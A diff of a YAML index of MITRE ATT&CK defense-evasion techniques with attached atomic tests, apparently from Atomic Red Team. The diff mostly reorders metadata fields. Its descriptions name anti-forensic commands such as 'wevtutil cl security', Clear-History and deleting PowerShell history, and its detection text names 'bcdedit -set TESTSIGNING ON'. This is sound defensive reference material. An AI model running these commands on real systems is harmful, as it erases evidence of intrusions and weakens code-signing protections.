+        description: Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation
+          for persistence. Retrieved June 24, 2020.
+        source_name: Red Canary COR_PROFILER May 2020
+      - url: https://offsec.almond.consulting/UAC-bypass-dotnet.html
+        description: Almond. (2019, April 30). UAC bypass via elevated .NET applications.
+          Retrieved June 24, 2020.
+        source_name: Almond COR_PROFILER Apr 2019
+      - url: https://github.com/OmerYa/Invisi-Shell
+        description: Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24,
+          2020.
+        source_name: GitHub OmerYa Invisi-Shell
+      - url: https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html
+        description: Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET
+          Profilers. Retrieved June 24, 2020.
+        source_name: subTee .NET Profilers May 2017
       identifier: T1574.012
     atomic_tests:
     - name: User scope COR_PROFILER
@@ -22706,26 +23081,29 @@ defense-evasion:
         name: powershell
   T1070.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1070.003
-        url: https://attack.mitre.org/techniques/T1070/003
-      - source_name: Microsoft PowerShell Command History
-        url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7
-        description: Microsoft. (2020, May 13). About History. Retrieved September
-          4, 2020.
-      - source_name: Sophos PowerShell command audit
-        url: https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit
-        description: jak. (2020, June 27). Live Discover - PowerShell command audit.
-          Retrieved August 21, 2020.
-      - source_name: Sophos PowerShell Command History Forensics
-        url: https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics
-        description: Vikas, S. (2020, August 26). PowerShell Command History Forensics.
-          Retrieved September 4, 2020.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2020-10-16T18:09:48.686Z'
       name: Clear Command History
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'File: File Deletion'
+      x_mitre_version: '1.1'
+      created: '2020-01-31T12:32:08.228Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a
+      x_mitre_defense_bypassed:
+      - Host forensic analysis
+      - Log analysis
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.
 
@@ -22738,35 +23116,32 @@ defense-evasion:
         The <code>PSReadLine</code> command history tracks the commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt</code> by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)
 
         Adversaries may run the PowerShell command <code>Clear-History</code> to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the <code>ConsoleHost_history.txt</code> file. Adversaries may also delete the <code>ConsoleHost_history.txt</code> file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)
-      id: attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-10-16T18:09:48.686Z'
-      created: '2020-01-31T12:32:08.228Z'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       x_mitre_contributors:
       - Vikas Singh, Sophos
       - Emile Kenning, Sophos
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      x_mitre_defense_bypassed:
-      - Host forensic analysis
-      - Log analysis
       x_mitre_detection: |-
         User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the removal/clearing of the <code>~/.bash_history</code> file can be an indicator of suspicious activity.
 
         Monitor for suspicious modifications or deletion of <code>ConsoleHost_history.txt</code> and use of the <code>Clear-History</code> command.
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'File: File Deletion'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1070/003
+        external_id: T1070.003
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7
+        description: Microsoft. (2020, May 13). About History. Retrieved September
+          4, 2020.
+        source_name: Microsoft PowerShell Command History
+      - url: https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit
+        description: jak. (2020, June 27). Live Discover - PowerShell command audit.
+          Retrieved August 21, 2020.
+        source_name: Sophos PowerShell command audit
+      - url: https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics
+        description: Vikas, S. (2020, August 26). PowerShell Command History Forensics.
+          Retrieved September 4, 2020.
+        source_name: Sophos PowerShell Command History Forensics
       identifier: T1070.003
     atomic_tests:
     - name: Clear Bash history (rm)
@@ -22935,18 +23310,22 @@ defense-evasion:
         name: powershell
   T1070.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1070.002
-        url: https://attack.mitre.org/techniques/T1070/002
-      - source_name: Linux Logs
-        url: https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/
-        description: Marcel. (2018, April 19). 12 Critical Linux Log Files You Must
-          be Monitoring. Retrieved March 29, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Clear Linux or Mac System Logs
+      x_mitre_data_sources:
+      - 'File: File Deletion'
+      - 'File: File Modification'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-03-29T21:23:51.886Z'
+      created: '2020-01-28T17:11:54.034Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36
       description: |
         Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the <code>/var/log/</code> directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)
 
@@ -22957,25 +23336,21 @@ defense-evasion:
         * <code>/var/log/cron.log</code>: Crond logs
         * <code>/var/log/maillog</code>: Mail server logs
         * <code>/var/log/httpd/</code>: Web server access and error logs
-      id: attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-03-29T21:23:51.886Z'
-      created: '2020-01-28T17:11:54.034Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_detection: File system monitoring may be used to detect improper deletion
         or modification of indicator files. Also monitor for suspicious processes
         interacting with log files.
-      x_mitre_data_sources:
-      - 'File: File Deletion'
-      - 'File: File Modification'
-      - 'Command: Command Execution'
-      x_mitre_platforms:
-      - Linux
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1070/002
+        external_id: T1070.002
+        source_name: mitre-attack
+      - url: https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/
+        description: Marcel. (2018, April 19). 12 Critical Linux Log Files You Must
+          be Monitoring. Retrieved March 29, 2020.
+        source_name: Linux Logs
       identifier: T1070.002
     atomic_tests:
     - name: rm -rf
@@ -23031,25 +23406,40 @@ defense-evasion:
         name: bash
   T1070.001:
     technique:
+      type: attack-pattern
+      modified: '2020-03-29T21:17:03.732Z'
+      name: Clear Windows Event Logs
       external_references:
-      - source_name: mitre-attack
+      - url: https://attack.mitre.org/techniques/T1070/001
         external_id: T1070.001
-        url: https://attack.mitre.org/techniques/T1070/001
-      - url: https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil
+        source_name: mitre-attack
+      - source_name: Microsoft wevtutil Oct 2017
         description: Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July
           2, 2018.
-        source_name: Microsoft wevtutil Oct 2017
-      - url: https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx
+        url: https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil
+      - source_name: Microsoft EventLog.Clear
         description: Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2,
           2018.
-        source_name: Microsoft EventLog.Clear
-      - url: https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog
+        url: https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx
+      - source_name: Microsoft Clear-EventLog
         description: Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018.
-        source_name: Microsoft Clear-EventLog
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Clear Windows Event Logs
+        url: https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      x_mitre_system_requirements:
+      - Clearing the Windows event logs requires Administrator permissions
+      id: attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2
+      x_mitre_defense_bypassed:
+      - Anti Virus
+      - Host Intrusion Prevention Systems
+      - Log Analysis
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
       description: |-
         Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.
 
@@ -23060,33 +23450,18 @@ defense-evasion:
         * <code>wevtutil cl security</code>
 
         These logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001).
-      id: attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2
-      type: attack-pattern
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-03-29T21:17:03.732Z'
-      created: '2020-01-28T17:05:14.707Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_system_requirements:
-      - Clearing the Windows event logs requires Administrator permissions
-      x_mitre_defense_bypassed:
-      - Anti Virus
-      - Host Intrusion Prevention Systems
-      - Log Analysis
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: 'Deleting Windows event logs (via native binaries (Citation:
         Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear),
         or [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation:
         Microsoft Clear-EventLog)) may also generate an alterable event (Event ID
         1102: "The audit log was cleared").'
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Command: Command Execution'
-      x_mitre_platforms:
-      - Windows
+      created: '2020-01-28T17:05:14.707Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1070.001
     atomic_tests:
     - name: Clear Logs
@@ -23155,32 +23530,17 @@ defense-evasion:
         elevation_required: true
   T1078.004:
     technique:
-      id: attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65
-      description: |-
-        Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)
-
-        Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.
-      name: Cloud Accounts
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1078.004
-        url: https://attack.mitre.org/techniques/T1078/004
-      - source_name: AWS Identity Federation
-        url: https://aws.amazon.com/identity/federation/
-        description: Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13,
-          2020.
-      - source_name: Google Federating GC
-        url: https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction
-        description: Google. (n.d.). Federating Google Cloud with Active Directory.
-          Retrieved March 13, 2020.
-      - source_name: Microsoft Deploying AD Federation
-        url: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs
-        description: Microsoft. (n.d.). Deploying Active Directory Federation Services
-          in Azure. Retrieved March 13, 2020.
       type: attack-pattern
+      name: Cloud Accounts
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Metadata'
+      - 'User Account: User Account Authentication'
+      - 'Logon Session: Logon Session Creation'
+      x_mitre_version: '1.3'
+      modified: '2021-10-18T17:48:05.659Z'
+      created: '2020-03-13T20:36:57.378Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
@@ -23190,25 +23550,43 @@ defense-evasion:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: initial-access
-      modified: '2021-03-16T12:45:15.399Z'
-      created: '2020-03-13T20:36:57.378Z'
+      id: attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65
       x_mitre_platforms:
       - Azure AD
       - Office 365
       - SaaS
       - IaaS
       - Google Workspace
-      x_mitre_data_sources:
-      - 'User Account: User Account Authentication'
-      - 'Logon Session: Logon Session Creation'
-      x_mitre_detection: Monitor the activity of cloud accounts to detect abnormal
-        or malicious behavior, such as accessing information outside of the normal
-        function of the account or account usage at atypical hours.
+      x_mitre_is_subtechnique: true
       x_mitre_permissions_required:
       - User
       - Administrator
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.2'
+      description: |-
+        Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)
+
+        Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.
+      x_mitre_contributors:
+      - Jon Sternstein, Stern Security
+      x_mitre_detection: Monitor the activity of cloud accounts to detect abnormal
+        or malicious behavior, such as accessing information outside of the normal
+        function of the account or account usage at atypical hours.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1078/004
+        external_id: T1078.004
+        source_name: mitre-attack
+      - url: https://aws.amazon.com/identity/federation/
+        description: Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13,
+          2020.
+        source_name: AWS Identity Federation
+      - url: https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction
+        description: Google. (n.d.). Federating Google Cloud with Active Directory.
+          Retrieved March 13, 2020.
+        source_name: Google Federating GC
+      - url: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs
+        description: Microsoft. (n.d.). Deploying Active Directory Federation Services
+          in Azure. Retrieved March 13, 2020.
+        source_name: Microsoft Deploying AD Federation
       identifier: T1078.004
     atomic_tests:
     - name: Creating GCP Service Account and Service Account Key
@@ -23267,26 +23645,22 @@ defense-evasion:
 '
   T1553.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1553.002
-        url: https://attack.mitre.org/techniques/T1553/002
-      - url: https://en.wikipedia.org/wiki/Code_signing
-        description: Wikipedia. (2015, November 10). Code Signing. Retrieved March
-          31, 2016.
-        source_name: Wikipedia Code Signing
-      - url: https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/
-        description: Ladikov, A. (2015, January 29). Why You Shouldn’t Completely
-          Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.
-        source_name: Securelist Digital Certificates
-      - url: http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates
-        description: Shinotsuka, H. (2013, February 22). How Attackers Steal Private
-          Keys from Digital Certificates. Retrieved March 31, 2016.
-        source_name: Symantec Digital Certificates
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Code Signing
+      x_mitre_data_sources:
+      - 'File: File Metadata'
+      x_mitre_version: '1.0'
+      modified: '2020-02-10T19:51:01.601Z'
+      created: '2020-02-05T16:27:37.784Z'
+      x_mitre_defense_bypassed:
+      - Windows User Account Control
+      x_mitre_platforms:
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082
       description: "Adversaries may create, acquire, or steal code signing materials
         to sign their malware or tools. Code signing provides a level of authenticity
         on a binary from the developer and a guarantee that the binary has not been
@@ -23299,69 +23673,57 @@ defense-evasion:
         It is not used on Linux due to the decentralized nature of the platform. (Citation:
         Wikipedia Code Signing) \n\nCode signing certificates may be used to bypass
         security policies that require signed code to execute on a system. "
-      id: attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-02-10T19:51:01.601Z'
-      created: '2020-02-05T16:27:37.784Z'
-      x_mitre_data_sources:
-      - 'File: File Metadata'
-      x_mitre_defense_bypassed:
-      - Windows User Account Control
       x_mitre_detection: Collect and analyze signing certificate metadata on software
         that executes within the environment to look for unusual certificate characteristics
         and outliers.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1553/002
+        external_id: T1553.002
+        source_name: mitre-attack
+      - source_name: Wikipedia Code Signing
+        description: Wikipedia. (2015, November 10). Code Signing. Retrieved March
+          31, 2016.
+        url: https://en.wikipedia.org/wiki/Code_signing
+      - source_name: Securelist Digital Certificates
+        description: Ladikov, A. (2015, January 29). Why You Shouldn’t Completely
+          Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.
+        url: https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/
+      - source_name: Symantec Digital Certificates
+        description: Shinotsuka, H. (2013, February 22). How Attackers Steal Private
+          Keys from Digital Certificates. Retrieved March 31, 2016.
+        url: http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates
     atomic_tests: []
   T1553.006:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1553.006
-        url: https://attack.mitre.org/techniques/T1553/006
-      - source_name: Microsoft DSE June 2017
-        url: https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN
-        description: Microsoft. (2017, June 1). Digital Signatures for Kernel Modules
-          on Windows. Retrieved April 22, 2021.
-      - source_name: Apple Disable SIP
-        url: https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection
-        description: Apple. (n.d.). Disabling and Enabling System Integrity Protection.
-          Retrieved April 22, 2021.
-      - source_name: Microsoft Unsigned Driver Apr 2017
-        url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test
-        description: Microsoft. (2017, April 20). Installing an Unsigned Driver during
-          Development and Test. Retrieved April 22, 2021.
-      - source_name: Microsoft TESTSIGNING Feb 2021
-        url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option
-        description: Microsoft. (2021, February 15). Enable Loading of Test Signed
-          Drivers. Retrieved April 22, 2021.
-      - source_name: FireEye HIKIT Rootkit Part 2
-        url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html
-        description: 'Glyer, C., Kazanciyan, R. (2012, August 22). The “Hikit” Rootkit:
-          Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020.'
-      - source_name: GitHub Turla Driver Loader
-        url: https://github.com/hfiref0x/TDL
-        description: TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved
-          April 22, 2021.
-      - url: https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf
-        description: 'F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence
-          of crimeware and APT attacks. Retrieved March 24, 2016.'
-        source_name: F-Secure BlackEnergy 2014
-      - source_name: Unit42 AcidBox June 2020
-        url: https://unit42.paloaltonetworks.com/acidbox-rare-malware/
-        description: 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare
-          Malware Repurposing Turla Group Exploit Targeted Russian Organizations.
-          Retrieved March 16, 2021.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Code Signing Policy Modification
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.0'
+      modified: '2021-04-26T15:41:39.155Z'
+      created: '2021-04-23T01:04:57.161Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c
+      x_mitre_defense_bypassed:
+      - Application control
+      - User Mode Signature Validation
+      - Digital Certificate Validation
+      x_mitre_platforms:
+      - Windows
+      - macOS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
       description: "Adversaries may modify code signing policies to enable execution
         of unsigned or self-signed code. Code signing provides a level of authenticity
         on a program from a developer and a guarantee that the program has not been
@@ -23395,13 +23757,8 @@ defense-evasion:
         Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but
         vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla
         Driver Loader)"
-      id: attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-04-26T15:41:39.155Z'
-      created: '2021-04-23T01:04:57.161Z'
+      x_mitre_contributors:
+      - Abel Morales, Exabeam
       x_mitre_detection: 'Monitor processes and command-line arguments for actions
         that could be taken to modify the code signing policy of a system, such as
         <code>bcdedit.exe -set TESTSIGNING ON</code>.(Citation: Microsoft TESTSIGNING
@@ -23409,66 +23766,97 @@ defense-evasion:
         with code signing policies, such as <code>HKCU\Software\Policies\Microsoft\Windows
         NT\Driver Signing</code>. Modifications to the code signing policy of a system
         are likely to be rare.'
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Command: Command Execution'
-      - 'Process: Process Creation'
-      x_mitre_contributors:
-      - Abel Morales, Exabeam
-      x_mitre_defense_bypassed:
-      - Application control
-      - User Mode Signature Validation
-      - Digital Certificate Validation
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_platforms:
-      - Windows
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1553/006
+        external_id: T1553.006
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN
+        description: Microsoft. (2017, June 1). Digital Signatures for Kernel Modules
+          on Windows. Retrieved April 22, 2021.
+        source_name: Microsoft DSE June 2017
+      - url: https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection
+        description: Apple. (n.d.). Disabling and Enabling System Integrity Protection.
+          Retrieved April 22, 2021.
+        source_name: Apple Disable SIP
+      - url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test
+        description: Microsoft. (2017, April 20). Installing an Unsigned Driver during
+          Development and Test. Retrieved April 22, 2021.
+        source_name: Microsoft Unsigned Driver Apr 2017
+      - url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option
+        description: Microsoft. (2021, February 15). Enable Loading of Test Signed
+          Drivers. Retrieved April 22, 2021.
+        source_name: Microsoft TESTSIGNING Feb 2021
+      - url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html
+        description: 'Glyer, C., Kazanciyan, R. (2012, August 22). The “Hikit” Rootkit:
+          Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020.'
+        source_name: FireEye HIKIT Rootkit Part 2
+      - url: https://github.com/hfiref0x/TDL
+        description: TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved
+          April 22, 2021.
+        source_name: GitHub Turla Driver Loader
+      - source_name: F-Secure BlackEnergy 2014
+        description: 'F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence
+          of crimeware and APT attacks. Retrieved March 24, 2016.'
+        url: https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf
+      - url: https://unit42.paloaltonetworks.com/acidbox-rare-malware/
+        description: 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare
+          Malware Repurposing Turla Group Exploit Targeted Russian Organizations.
+          Retrieved March 16, 2021.'
+        source_name: Unit42 AcidBox June 2020
     atomic_tests: []
   T1027.004:
     technique:
-      created: '2020-03-16T15:30:57.711Z'
-      modified: '2020-03-29T20:59:32.293Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      type: attack-pattern
-      id: attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617
-      description: |-
-        Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)
-
-        Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)
-      name: Compile After Delivery
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Compile After Delivery
       external_references:
-      - source_name: mitre-attack
+      - url: https://attack.mitre.org/techniques/T1027/004
         external_id: T1027.004
-        url: https://attack.mitre.org/techniques/T1027/004
-      - description: 'ClearSky Cyber Security. (2018, November). MuddyWater Operations
+        source_name: mitre-attack
+      - source_name: ClearSky MuddyWater Nov 2018
+        description: 'ClearSky Cyber Security. (2018, November). MuddyWater Operations
           in Lebanon and Oman: Using an Israeli compromised domain for a two-stage
           campaign. Retrieved November 29, 2018.'
         url: https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf
-        source_name: ClearSky MuddyWater Nov 2018
-      - source_name: TrendMicro WindowsAppMac
-        url: https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/
+      - url: https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/
         description: Trend Micro. (2019, February 11). Windows App Runs on Mac, Downloads
           Info Stealer and Adware. Retrieved April 25, 2019.
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_contributors:
-      - Praetorian
-      - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank
+        source_name: TrendMicro WindowsAppMac
       x_mitre_data_sources:
       - 'File: File Metadata'
       - 'File: File Creation'
       - 'Process: Process Creation'
       - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-03-29T20:59:32.293Z'
